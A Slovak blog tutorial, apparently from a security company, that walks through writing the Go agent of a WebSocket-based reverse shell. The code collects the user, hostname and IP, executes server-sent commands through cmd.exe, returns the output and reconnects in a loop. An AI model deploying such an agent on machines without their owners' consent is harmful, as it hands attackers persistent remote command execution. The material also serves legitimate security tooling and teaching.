Reverzný shell pomocou WebSocket, časť 1 - Agent

  • , okt 7, 2021
Singel-post cover image

Klasické vzdialené shelly, ako napr. SSH vyžadujú, aby cieľový počítač bol viditeľný v sieti. K bežnému počítaču za NAT alebo firewall-om sa zvyčajne nedá získať prístup pomocou vzdialeného shellu (alebo vzdialenej pracovnej plochy), pokiaľ nepoužívate nejaké „triky“, ako je presmerovanie portov. V takom prípade je možné použiť techniku reverzného shellu. Slovo reverzný v tomto kontexte znamená, že práve cieľový počítač nadväzuje spojenie ku klientovi.

Reverzný shell je v komunite kybernetickej bezpečnosti celkom bežným nástrojom a mnohé produkty EDR ich integrujú. Žiaľ, používajú ich aj kyberzločinci na svoju špinavú činnosť.

V prípade, že sa klient aj cieľový počítač navzájom nevidia, napr. obaja sú v rôznych sieťach, môžeme použiť architektúru so serverom. Tu sú klient aj cieľový počítač pripojení k spoločnému verejnému serveru, ktorý sprostredkováva komunikáciu. V tomto blogu implementujeme práve tento scenár.

Vzdialený shell:

KLIENT --------- sa pripája k ---------> AGENT


Reverzný shell:

KLIENT <--------- sa pripája k --------- AGENT


Reverzný shell so serverom (v tomto blogu):

KLIENT -----------> SERVER <------------ AGENT

Bežnou nevýhodou reverzných shellov je chýbajúca interaktivita. Znamená to, že nepodporujú pokročilé veci, ako je doplňovanie pomocou tabulátora, a nemôžu spúšťať textové programy ako vim alebo mc. Aj keď existujú spôsoby, ako toto obmedzenie obísť.

V tomto článku uvažujeme iba o najjednoduchších reverzných shelloch bez relácií, v ktorých je každý príkaz spustený izolovane vlastnou inštanciou cmd.exe. Taktiež práve teraz nebudeme ešte podporovať reťazené alebo pajpované príkazy.

Reverzné shelly sa zvyčajne implementujú ako TCP spojenia použitím akéhokoľvek bežného portu. V prípade zabezpečenej siete tento prístup však nemusí fungovať. Riešením môže byť reverzný shell založený na derivátoch HTTP, ako je WebSocket alebo novší gRPC (na základe HTTP/2).

Architektúra

V tomto blogu vytvoríme jednoduchý reverzný shell so serverom pomocou WebSocket protokolu.

Reverzný shell so serverom (v tomto blogu):

KLIENT -----------> SERVER <------------ AGENT

Hlavná myšlienka

Myšlienka je jednoduchá. Postavíme server, ktorý počúva prichádzajúce spojenia z dvoch rôznych typov aplikácií. Viaceré agent stroje otvárajú spojenia k serveru a nechávajú ich stále otvorené. Následne máme klientskú aplikáciu používanú ľudským operátorom. Klient získa zoznam pripojených agentov zo servera. Ľudský operátor si potom vyberie jedného agenta, klient otvorí pripojenie k serveru a následne čaká na príkazy operátora. Potom úlohou servera je správne prenášať príkazy a výsledky príkazov medzi klientom a agentom.

Čo urobíme

Hlavnou výhodou WebSocket oproti klasickým TCP soketom je:

  • klient môže bežať vo webovom prehliadači,
  • používajú štandardné HTTP porty (80 alebo 443).

Pretože WebSocket je založený na HTTP, mali by fungovať bez problémov v typickom firemnom prostredí. Namiesto WebSocket by sme ešte mohli používať novšie a efektívnejšie gRPC. Podpora webových prehliadačov v gRPC je však komplikovaná. Preto v tomto blogu zostávame s WebSocket-mi, ako „najkompatibilnejším“ spôsobom.

Tieto tri aplikácie budú tiež implementované v troch rôznych moderných technológiách.

  • Agent bude implementovaný v Go. Toto je pomerne nový, ale pomerne rozšírený programovací jazyk od spoločnosti Google. Go kombinuje jednoduchosť jazyka Python so statickým typovaním. Ešte dôležitejšie je, že jeho štandardný prekladač vytvára staticky linkované natívne binárne súbory pre mnoho platforiem. Je to vo všeobecnosti veľmi dobrá voľba pre CLI desktopové programy alebo sieťové mikroslužby.

  • Server bude implementovaný v Kotlin-e od firmy JetBrains. Patrí tiež medzi novšie jazyky a je plne kompatibilný s behovým prostredím Java (JVM). Keďže ho Google v roku 2017 vyhlásil za hlavný programovací jazyk pre jeho platformu Android, získal si v komunite významné prijatie. Navyše veľa tímov vývojárov Java serverových aplikácií prechádza na Kotlin, pretože je oproti nej výrazne modernejší Java pri zachovaní 100% kompatibility na úrovni bajtkódu.

  • Klient je webová aplikácia napísaná v jazyku TypeScript s použitím veľmi populárnej knižnice ReactJS.

Nebudeme popisovať celý proces inicializácie projektu v nejakom IDE alebo spravovania závislostí. V článku teda ukážeme a vysvetlíme iba potrebný kód. Na konci článku samozrejme poskytneme odkaz na Git úložisko s kompletným a funkčným zdrojovým kódom.

Vzhľadom na dĺžku bude implementácia troch programov (agent, server, klient) rozdelená do čiastkových článkov. Teraz vysvetlíme implementáciu agenta. Ostatné dve časti budú čoskoro vydané, no ich zdrojový kód už môžete nájsť tu.

Agent

Začnime s implementáciou agenta. Agent pobeží na počítačoch, ku ktorým sa chceme pripojiť, a na ktorých chcene spúšťať vzdialené príkazy. Pre jednoduchosť predpokladáme, že agent pobeží na systéme Windows. Keďže aplikáciu napíšeme v Go, jej prispôsobenie do iného operačného systému by malo byť triviálne.

Všeobecné požiadavky na agentov reverzného shellu sú, abt boli malé, nenáročné na systémové prostriedky a ľahko nasaditeľné. Go je perfektný jazyk pre takúto úlohu.

Programy Go sú zostavené do staticky linkovaných natívnych spustiteľných súborov pre každú podporovanú platformu, podobne, ako v prípade C/C++, ale s modernými vývojovými nástrojmi a automatickou správou pamäte (Garbage Collector). Snaží sa ponúknuť príjemný vývojový proces podobný Python-u alebo Jave, pri zachovaní výkonových charakteristík C/C++. V praxi sa však jedná o kompromis na obe strany. Programy písané v Go nie sú také rýchle, ako programy v C/C++ a nástroje/knižnice nie sú také robustné alebo pokročilé, ako v prípade Java/NodeJS/Python. Ale pre jednoduché jednoúčelové programy je Go momentálne jedným z najlepších programovacích jazykov.

Vytvorte si nový projekt v Go alebo použite nejaký existujúci. Do súboru go.mod (ak váš projekt používa moduly Go) by sme mali pridať nasledujúce závislosti:

github.com/gorilla/websocket v1.4.2
golang.org/x/text v0.3.6

S najväčšou pravdepodobnosťou môžete použiť novšie alebo aj staršie verzie týchto balíkov, ale v čase písania tieto boli najnovšie.

V našom prípade celý súbor vyzerá takto:

module github.com/istrosec/ws-blog-agent

go 1.17

require (
	github.com/gorilla/websocket v1.4.2
	golang.org/x/text v0.3.6
)

computer.go

Vytvorte pomocný súbor computer.go a prilepte nasledujúci obsah:

func getDomainAndUserName() (string, error) {
	currentUser, err := user.Current()
	if err != nil {
		return "Agent-ErrorGettingUser", err
	}
	if currentUser == nil {
		return "Agent-ErrorNilUser", err
	}
	return currentUser.Username, nil
}

func getHostName() (string, error) {
	hostName, err := os.Hostname()
	if err != nil {
		return "Agent-ErrorGettingHostName", err
	}
	return hostName, nil
}

func getLocalIp() (string, error) {
	conn, err := net.Dial("udp", "8.8.8.8:80")
	if err != nil {
		return "", err
	}
	defer conn.Close()

	localAddr := conn.LocalAddr().(*net.UDPAddr)

	return localAddr.IP.String(), nil
}

Tieto funkcie, ako naznačuje ich názov, získavajú informácie o počítači, ktoré pomáhajú identifikovať agenta na serveri.

agent.go

Teraz vytvorte súbor agent.go. Tento súbor bude obsahovať funkcie, ktoré prijímajú správy z WebSocket pripojenia, vykoná správu v systémovom interpretovi príkazov a odošle výsledok späť na server.

Definujme typ Agent, ktorý identifikuje počítač, na ktorom je spustený reverzný shell agent. Definujeme tiež JSON značky pre správne pomenovanie polí pri serializácii inštancií do WebSocket pripojenia.

type Agent struct {
	Name     string `json:"name"`
	HostName string `json:"hostName"`
	LocalIp  string `json:"localIp"`
}

Vytvorme tiež konštruktor, ktorý vyplní polia pomocou troch pomocných funkcií, ktoré sme definovali vyššie. Ako vidíme, väčšina kódu je ošetrovanie chybových hlásení, čo je pre Go typické.

func newAgent() Agent {
	domainAndUserName, err := getDomainAndUserName()
	if err != nil {
		fmt.Println(err.Error())
	}
	if err != nil {
		fmt.Println(err.Error())
	}
	name, err := getHostName()
	if err != nil {
		fmt.Println(err.Error())
	}
	localIp, err := getLocalIp()
	if err != nil {
		fmt.Println(err.Error())
	}
	return Agent{
		Name:     domainAndUserName,
		HostName: name,
		LocalIp:  localIp,
	}
}

Nadviazanie spojenia

Teraz by sme mali definovať funkcie, ktoré otvárajú a zatvárajú WebSocket spojenia. Otvorenie WebSocket spojenia je jednoduché. Mali by sme vytvoriť inštanciu websocket.Dialer a zavolať metódu Dial s danou URL servera. Tiež by sme mali vypnúť časové limity, aby sa zabezpečilo, že pripojenie zostane otvorené, aj keď sa nepoužíva.

Posledné dve vety je možné takto vyjadriť v kóde:

func openWebSocketConnection(server string) (*websocket.Conn, error) {
	dialer := websocket.Dialer{
		Proxy:            http.ProxyFromEnvironment,
		HandshakeTimeout: 45 * time.Second,
	}
	conn, _, err := dialer.Dial(server, nil)
	if err != nil {
		fmt.Println(err)
		return nil, err
	}
	_ = conn.SetReadDeadline(time.Time{})
	_ = conn.SetWriteDeadline(time.Time{})
	return conn, nil
}

Tiež by sme mali definovať pomocnú funkciu pre správne ukončenie daného spojenia.

func closeConn(
	connection *websocket.Conn,
) {
	if err := connection.Close(); err != nil {
		fmt.Println(err)
	}
}

Keď agent otvorí WebSocket spojenia k serveru, mal by sa okamžite identifikovať. Preto definujeme nasledujúcu funkciu, ktorá to pre nás urobí.

func identifyItself(connection *websocket.Conn) error {
	err := connection.WriteJSON(newAgent())
	if err != nil {
		return err
	}
	return nil
}

Parsovanie správ

Vieme teraz otvoriť a zavrieť WebSocket spojenie. Aby sme vedeli s ním aj reálne pracovať ako s reverzným shellom, potrebujeme zadefinovať nejaké pomocné funkcie.

Každý prijatý príkaz je jeden reťazec, na ktorom chceme spustiť vstavanú funkciu exec.Command. Táto funkcia však očakáva jeden príkaz a pole jeho argumentov. Preto musíme prijatú správu rozdeliť do poľa.

Napríklad príkaz ipconfig -all bude rozdelený na [ipconfig, -all]. Vo všeobecnosti rozdelenie nie je úplne triviálne, pretože jednotlivé argumenty môžu obsahovať viacero slov zabalených v úvodzovkách. Napríklad cd" C:\Users\John Smith" je potrebné rozdeliť na [cd, C:\Users\John Smith].

Po častiach implementujme túto funkciu. Funkcia akceptuje string a vráti pole []string.

Ako prvú vec vyriešime triviálny prípad prázdneho príkazu:

func parseCommand(command string) []string {
	if command == "" {
		return nil
	}
	
	result := make([]string, 0)
	
	...
	
	return result
}

Ako sme už spomenuli, na vykonanie prijatých príkazov použijeme príkaz exec.Command. Ak dostaneme ipconfig -all, agent zavolá exec.Command("ipconfig","-all").

Nie všetky príkazy je možné vykonať týmto spôsobom. Typickým príkladom môže byť dir (zoznam súborov v adresári) alebo cd (zmeniť pracovný adresár), pretože sú to len funkcie programu cmd.exe, a nie samostatné systémové nástroje. Preto nemôžeme spustiť iba príkaz exec.Command("dir"), ale musíme ho spustiť v rámci cmd.exe, t.j. exec.Command("cmd.exe ","/c ","dir").

Preto odporúčame spustiť všetky príkazy v štandardnom shell prostredí OS, v prípade Windowsu je to cmd.exe.

Vložme to do našej funkcie:

func parseCommand(command string) []string {
	if command == "" {
		return nil
	}
	
	result := make([]string, 0)
	
	if runtime.GOOS == "windows" {
		result = append(result, "cmd.exe")
		result = append(result, "/c")
	}
	
	...
	
	return result
}

Teraz podporujeme príkaz dir, ale nie cd, k čomu vrátime neskôr.

Prijatý príkaz teraz potrebujeme rozobrať a správne rozdeliť s ohľadom na symboly úvodzoviek. Keďže toto je jednoduchý algoritmus na úrovni školského cvičenia, preskočíme detaily a rovno poskytneme riešenie:

func parseCommand(command string) []string {
	if command == "" {
		return nil
	}
	
	result := make([]string, 0)

	if runtime.GOOS == "windows" {
		result = append(result, "cmd.exe")
		result = append(result, "/c")
	}

	from := 0
	inQuotes := false
	skip := false

	length := len(command)
	for i := 0; i < length; i++ {
		ch := command[i]
		if skip {
			skip = false
		} else if ch == ' ' {
			if !inQuotes {
				result = append(result, command[from:i])
				from = i + 1
			}
		} else if ch == '"' {
			if inQuotes {
				inQuotes = false
				skip = true
				result = append(result, command[from:i])
				from = i + 2
			} else {
				inQuotes = true
				from = i + 1
			}
		} else if i+1 == length {
			result = append(result, command[from:length])
			from = i
		}
	}
	return result
}

Podpora pre cd

V tomto článku uvažujeme iba o najjednoduchších reverzných shelloch bez relácií, v ktorých je každý príkaz spustený v jeho vlastnej inštancii cmd.exe. Preto práve teraz nebudeme podporovať reťazové príkazy. Obvykle veci, ako

dir
cd "C:\Program Files"
dir

teraz nebudú korektne fungovať. Oba dir príkazy v našom shelli vrátia rovnaký zoznam súborov.

Potrebujeme teda interpretovať cd priamo. Ak agent dostane správu začínajúcou sa cd, neodošleme ju do exec.Command, ale iba zmeníme jeho pracovný adresár. Vytvoríme pomocnú funkciu, ktorá bude akceptovať súčasný pracovný adresár a prijatú správu. Jej výstupom bude nový pracovný adresár.

Táto funkcia je jednoduchá.

  • Ak správa nezačína na cd, aktuálny pracovný adresár sa nezmení a my vrátime iba starý. Áno, môže existovať reťazený príkaz, ktorý môže obsahovať cd aj inde, ale to necháme na budúcu časť tohto blogu.
  • Ak je nový adresár absolútny, vrátime ho.
  • Ak je nový adresár relatívny, pripojíme ho k aktuálnemu pracovnému adresáru a vrátime výsledok.
  • Ak je nový adresár .., vrátime rodiča aktuálneho pracovného adresára.
  • Ak je nový adresár ~, vrátime domovský adresár aktuálne prihláseného používateľa, pod ktorom je agent spustený.
func resolveWorkingDirectory(
	currentWorkingDirectory string,
	command string,
) string {
	if strings.Index(command, "cd") < 0 {
		return currentWorkingDirectory
	}
	cdPath := strings.TrimSpace(command[2:])
	if filepath.IsAbs(cdPath) {
		return cdPath
	}
	if cdPath == ".." {
		return filepath.Dir(currentWorkingDirectory)
	}
	if cdPath == "~" || strings.ToLower(cdPath) == "%userprofile%" {
		home, _ := os.UserHomeDir()
		return home
	}
	return filepath.Join(currentWorkingDirectory, cdPath)
}
Vykonávanie prijatých príkazov

Teraz potrebujeme funkciu, ktorá prijatú správu interpretuje ako príkaz v cmd.exe. Funkcia berie na vstup pracovný adresár a príkaz rozdelený na pole. Tiež si musíme dávať pozor na kódovanie. Textové reťazce v Go sú iba nemenné (immutable) bajtové polia bez textového kódovania. Všetky štandardné funkcie pre reťazce v Go však fungujú iba vtedy, ak je reťazec reálne kódovaný v UTF-8. Ale cmd.exe používa kódovanie CP 850. Preto musíme do tejto funkcie vložiť aj dekódovanie.

Finálna funkcia nie je ničím zvláštnym, v zásade je len prevzatá z dokumentácie exec.Command a doplnená o prekódovanie výsledku cmd.exe z CP 850 do UTF-8.

func executeCommand(workingDirectory string, parsedCommand []string) (string, error) {
	fmt.Printf("Executing command: %s %s\n", workingDirectory, strings.Join(parsedCommand, " "))
	cmd := exec.Command(parsedCommand[0], parsedCommand[1:]...)
	cmd.Dir = workingDirectory
	output, err := cmd.CombinedOutput()
	if runtime.GOOS == "windows" {
		decoder := charmap.CodePage850.NewDecoder()
		output, err = decoder.Bytes(output)
	}
	resultStr := string(output)
	return fmt.Sprintf("%s> %s", workingDirectory, resultStr), err
}
Spracovanie jednotlivých správ

Pomaly sa dostávame do konca. Predpokladajme, že jedna prijatá správa cez WebSocket je jediným príkazom na vykonanie. Teraz zlepíme dohromady veci, ktoré sme doteraz napísali.

Ak dostaneme správu, musíme skontrolovať, či mení náš pracovný adresár alebo nie. Potom musíme rozparsovať príkaz do poľa reťazcov, spustiť ho a výsledok odoslať späť do WebSocket spojenia.

Táto funkcia akceptuje referenciu na WebSocket spojenie, poslednú prijatú správu a aktuálny pracovný adresár. Vráti nám nový pracovný adresár, ak bol zmenený prijatým príkazom, v opačnom prípade aktuálny pracovný adresár.

To, čo sme práve povedali, sa v kóde vyjadrí takto:

func handleTextMessage(
	connection *websocket.Conn,
	message []byte,
	workingDirectory string,
) string {
	command := strings.TrimSpace(string(message))
	workingDirectory = resolveWorkingDirectory(workingDirectory, command)
	parsedCommand := parseCommand(command)
	commandResult, err := executeCommand(workingDirectory, parsedCommand)
	if err != nil {
		fmt.Println(err)
	}
	fmt.Printf("Sending command result: %s...\n", commandResult)
	err = connection.WriteMessage(websocket.TextMessage, []byte(commandResult))
	if err != nil {
		fmt.Printf("Could not send message: %s\n", commandResult)
	}
	return workingDirectory
}
Počúvanie WebSocket spojenia

Počúvanie otvoreného WebSocket spojenia nie je ťažké. Potrebujeme nekonečný cyklus, a pri každej prijatej správe skontrolujeme typ správy:

  • CloseMessage - server ukončil spojenie a mali by sme ho tiež uvoľniť.
  • TextMessage - to bude reálna správa zo servera
  • ostatné typy správ sú ignorované.

Pred začatím nekonečného cyklu nastavíme pracovný adresár na C:\ (alebo ho môžeme nastaviť na domovský adresár používateľa pomocou os.UserHomeDir())

func handleMessages(connection *websocket.Conn) {
	workingDirectory := "C:\\"
	for {
		messageType, bytes, err := connection.ReadMessage()
		if err != nil {
			fmt.Println(err)
			break
		}
		switch messageType {
		case websocket.TextMessage:
			workingDirectory = handleTextMessage(connection, bytes, workingDirectory)
		case websocket.CloseMessage:
			fmt.Printf("Close frame with message: %s\n", string(bytes))
			break
		default:
			fmt.Printf("Not supported WS frame of type %d\n", messageType)
		}
	}
}
Vytváranie nekonečného spojenia

Posledná funkcia, ktorú musíme urobiť. Bude to jediná verejná funkcia nášho modulu. Na vstup dostane adrese WebSocket servera a následne spustí nekonečný cyklus. Každá iterácia cykly znamená jedno otvorenie a zavretie spojenia.

V cykle otvoríme spojenie openWebSocketConnection, odošleme identifikáciu agenta pomocou identifyItself a spracujeme prichádzajúce správy pomocou handleMessages. Ak dôjde k chybe alebo k vonkajšiemu zatvoreniu spojenia, potom funkcia počká 20 sekúnd a znova skúsi nadviazať spojenie.

func Run(server string) {
	for {
		connection, err := openWebSocketConnection(server)
		if err != nil {
			wait()
			continue
		}
		if err = identifyItself(connection); err != nil {
			fmt.Println(err)
			closeConn(connection)
			continue
		}
		fmt.Printf("Connection to %s established\n", server)
		handleMessages(connection)		
		wait()
	}
}

func wait() {
	waitingSeconds := 20
	fmt.Printf("WebSocket Session ended. Waiting %d seconds to reestablish the session.\n", waitingSeconds)
	waiting := time.Duration(waitingSeconds) * time.Second
	time.Sleep(waiting)
}

Náš kód je teraz úplný. Funkciu Run je možné spustiť v ľubovoľnom kontexte. Napr:

func main() {
	Run("ws://localhost:8080/api/agent/shell")
}

Zdrojový kód agenta nájdete tu.

Server a klient

Ďalšie dve aplikácie potrebné pre reverzný shell budú popísané v budúcom článku. Zdrojový kód je však už zverejnený.